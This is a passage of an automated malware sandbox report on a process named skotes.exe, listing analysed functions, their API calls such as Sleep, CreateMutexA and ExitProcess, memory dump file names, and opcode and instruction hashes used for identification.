Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v"
API String ID: 3213747228-1211370248
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 32d0ba7099dddba248c772a1c0ae8216bfb168884afb236ef443958709d29713
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: C9B18A72D242A6AFDB25CFA8D8417BEBBE5EF45340F35416AE844EB242D6348D11CB50

Function 0020BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0020BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0020BBE4
_xtime_get.LIBCPMT ref: 0020BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0020BC13

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: d0796453986ebfade874ceda9ebcfc940777f79e3ece1b4d34a59d0b81f98a78
Instruction ID: 0c23ae55fd9da57a1fe8cc1abdcba15d3abd7623e77e84c64022f925b7db08fd
Opcode Fuzzy Hash: d0796453986ebfade874ceda9ebcfc940777f79e3ece1b4d34a59d0b81f98a78
Instruction Fuzzy Hash: D72171B1D102099FDF10EFA4DC859BEB779EF48710F200116FA01A7292DB309D118F91

Function 0022F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0022F3A3

Strings

`'%, xrefs: 0022F375
8"%, xrefs: 0022F44B

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"%$`'%
API String ID: 3903695350-3018040681
Opcode ID: 4d6476e298f59479b722e4128741ddf7757a23eae92f459991130d85f9c043b9
Instruction ID: 882b966384cf3d084a963987a4de3824a7c65d6e6ad13ea83a9bf5cd7398e2b7
Opcode Fuzzy Hash: 4d6476e298f59479b722e4128741ddf7757a23eae92f459991130d85f9c043b9
Instruction Fuzzy Hash: 1C315931620262FFEB71AEB9EA45B5B73F8EF00352F10447AE445D6995DE70A8A0CB11

Analysis Process: skotes.exePID: 5628, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	617
Total number of Limit Nodes:	4

Executed Functions

Function 0022652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0022652A,?,?,?,?,?,00227661), ref: 00226567

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 981da29b28b647a0b1463f9a3d99358c132154537c812c5a5508df378c425ca2
Instruction ID: 3fc6365e5c69235267882f0b549f3c5dd428493d49ae3efa17dc33c25fbba7bc
Opcode Fuzzy Hash: 981da29b28b647a0b1463f9a3d99358c132154537c812c5a5508df378c425ca2
Instruction Fuzzy Hash: 25E08C31121218BFCE29BF99E91DA583B29EF51756F400800FD184A222CB35EDA1CE80

Function 001F9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%
API String ID: 1464230837-847306568
Opcode ID: 6bcecceabedec78a8e58bf569f33fa05732ddbbbc89f6c3cd0b92d66976100d4
Instruction ID: f3bb9cd8a3a0c47966ceb8461929c426085c253d4a7d1f376c3d728e08e4308f
Opcode Fuzzy Hash: 6bcecceabedec78a8e58bf569f33fa05732ddbbbc89f6c3cd0b92d66976100d4
Instruction Fuzzy Hash: E8316A717112088BEB08EB78EC9DB7EBBB2EF85314F244218E614DB3D6C77A59848751

Function 001F9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%
API String ID: 1464230837-847306568
Opcode ID: 31c551c013dff93ae69f5f0820d9633b897984d1485882644154ade7fdfbd8be
Instruction ID: fb27f765ce4fa06ccc3ee41676c42f5d26fa4f8749c4cab5b191cd91bce82a12
Opcode Fuzzy Hash: 31c551c013dff93ae69f5f0820d9633b897984d1485882644154ade7fdfbd8be
Instruction Fuzzy Hash: 33316A717102488BEB08EB78DC9CBBDBBA2EFC5310F204219E618DB3D5C77A59808756

